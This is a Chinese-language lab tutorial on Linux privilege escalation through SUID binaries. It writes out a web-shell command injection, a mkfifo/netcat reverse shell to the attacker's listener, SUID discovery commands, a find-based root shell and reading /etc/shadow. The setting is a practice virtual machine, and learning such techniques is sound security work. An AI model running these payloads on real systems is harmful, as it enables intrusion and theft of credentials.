Bootstrap

Linux提权之suid提权(六)

suid是什么呢

SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么该执行程序运行的时候将拥有ROOT权限。

可以参考这篇文章

SUID_51CTO博客_suid sgid

首先我们实验准备

我们的kail机 ip 192.168.25.138

我们的目标主机 Ubuntu IP 192.168.25.133

就是我们第二篇文章中的目标主机 我给大家放在这里了

通过网盘分享的文件:Ubuntu01.zip

链接: 百度网盘 请输入提取码 提取码: dhvt

--来自百度网盘超级会员v3的分享

还是一样的我们先建立一个反弹shell

首先在我们的kail机上

输入

bash

nc -lvnp 8888

然后在我们的的本机windows上输入

http://192.168.25.133/cmd.php?cmd=system(%27id%27);

然后我们打开bp 进行抓包输入反弹shell

输入

cmd=system('rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.25.138+8888>/tmp/f');

不懂得或者忘了的 我们可以去看看第二篇

然后返回看kail主机

上里边已经有反弹shell

然后我们要获得完整的tty shell

python3 -c 'import pty;pty.spawn("/bin/bash")';

stty -echo raw

fg

bg

忘了的可以去看第二篇

然后我们就要来再查找具有suid的文件

以下命令可以发现系统上运行的所有SUID可执行文件

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000-print2>/dev/null

find / -user root -perm -4000-exec ls -ldb {} \;

/表示从文件系统的顶部(根)开始并找到每个目录

-perm 表示搜索随后的权限

-u = s表示查找root用户拥有的文件

-type表示我们正在寻找的文件类型 f表示常规文件,而不是目录或特殊文件

2表示该进程的第二个文件描述符,即stderr(标准错误)

所以我们输入查询具有suid的

find / -perm -u=s -type f 2>/dev/null

不知道哪些可以提权的

常见的可以用来进行 SUID 提权的命令可以参考下面这个链接:

GTFOBins

下边举个例子

找到find

常见suid提权文件

nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget

刚好我们刚才查找到的里边有 find

输入

/usr/bin/find

查看当前目录下的文件

我们也可以输入

find

效果是一样的

我们可以来查看find权限

ls -al /usr/bin/find

-rwsr-xr-x 1 root root 238080 Nov 6 2017 /usr/bin/find

我们看到了有 s 这个

也就是说 我们使用这个find命令 就是以root命令执行的

查看刚才的网址

因为我们是普通用户

不能查看 只有root用户才能查看的

cat /etc/shadow

所以我们要进行提权

我们输入

find . -exec /bin/sh -p \; -quit

输入id 可以看到我们具有了euid root 权限

有人会问问了 euid 是啥

EUID, 用于系统决定用户对系统资源的访问权限,通常情况下等于RUID

参考这篇文章

UID、EUID、GID和EGID-CSDN博客

我们也可以查看只有root 才可以访问的文件

cat /etc/shadow

除了find 想了解的更多 我们可以看下边的文章

[权限提升] Linux 提权 & 维持 — 系统错误配置提权 - SUID 文件提权_网络安全linux系统提权-CSDN博客

Linux提权-suid相关提权思路 - Yuy0ung - 博客园

;